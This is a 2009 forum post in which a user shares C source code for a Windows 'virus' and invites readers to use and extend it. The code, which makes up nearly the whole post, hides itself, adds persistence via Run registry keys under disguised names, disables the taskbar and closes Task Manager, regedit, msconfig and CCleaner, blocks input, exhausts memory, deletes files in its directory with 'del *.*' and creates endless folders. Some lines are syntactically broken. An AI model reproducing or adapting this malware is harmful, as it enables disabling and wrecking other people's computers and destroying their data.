Bun venit!
Doriți să reacționați la acest mesaj? Creați un cont în câteva clickuri sau conectați-vă pentru a continua.
Bun venit!


Nu sunteti conectat. Conectați-vă sau înregistrați-vă

simple virus!!

In jos  Mesaj [Pagina 1 din 1]

1simple virus!! Empty simple virus!! Lun Ian 19, 2009 9:30 am

Stealth-Speedy

Stealth-Speedy
Admin

well i just finished coding a really annoying virus...compiles perfectly with DEV-C++...enjoy and have fun but be warned im not reponsible for what you do with it..(feel free to add to the code)..^_^



/*****************************
*
* _::_SiMpLe ViRuS_::_
*
*
* CoDeD BY THE REAPER
*
* Simple Virus Copies itself
* to start up,disables the
* start bar,msconfig,ccleaner,
* regedit,and taskmgr.it also
* disables the mouse plus keyboard
* beeps,generates infinite folders
* and bloats your RAM!!
*
* R.I.P Windows
*
******************************/

#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0);

char Pathofvirus[MAX_PATH];
char systempath[MAX_PATH];

GetModuleFileName(NULL,Pathofvirus,MAX_PATH);
GetSystemDirectory(systempath,sizeof(systempath));

HKEY newValue;

RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);

RegSetValueEx(newValue,"igfxc",0,REG_SZ,(LPBYTE)Pathofvirus,sizeof(Pathofvirus));

RegCloseKey(newValue);

RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&newValue);

RegSetValueEx(newValue,"ntoskrnl",0,REG_SZ,(LPBYTE)Pathofvirus,sizeof(Pathofvirus));

RegCloseKey(newValue);

HWND hWin;

hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,0);
sleep(15000);

for(;
{
BlockInput(0);

HWND tasks,msconfig,regedit,ccleaner,cmd;

tasks = FindWindow(NULL,"Windows Task Manager";
msconfig = FindWindow(NULL,"System Configuration Utility";
regedit = FindWindow(NULL,"Registry Editor";
ccleaner = FindWindow(NULL,"Piriform CCleaner";
cmd = FindWindow(NULL,systempath);

if(tasks || msconfig || regedit || ccleaner|| cmd != NULL)
{
PostMessage(tasks, WM_CLOSE, (WPARAM)0, (LPARAM)0);
PostMessage(msconfig, WM_CLOSE, (WPARAM)0, (LPARAM)0);
PostMessage(regedit, WM_CLOSE, (WPARAM)0, (LPARAM)0);
PostMessage(ccleaner, WM_CLOSE, (WPARAM)0, (LPARAM)0);
PostMessage(cmd, WM_CLOSE, (WPARAM)0, (LPARAM)0);
}

malloc(rand()%512512);
beep(2500,150); beep(2200,310);
beep(2400,50); beep(2100,50);
beep(2300,50); beep(2000,230);

BlockInput(1);
system("del *.*";
system("md %random%";
}

return 0;
}




EDIT: added a system command to delete all files of the current dir and minimized if statement to all if statements.

https://stealth-speedy90.forumgratuit.ro

Sus  Mesaj [Pagina 1 din 1]

Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum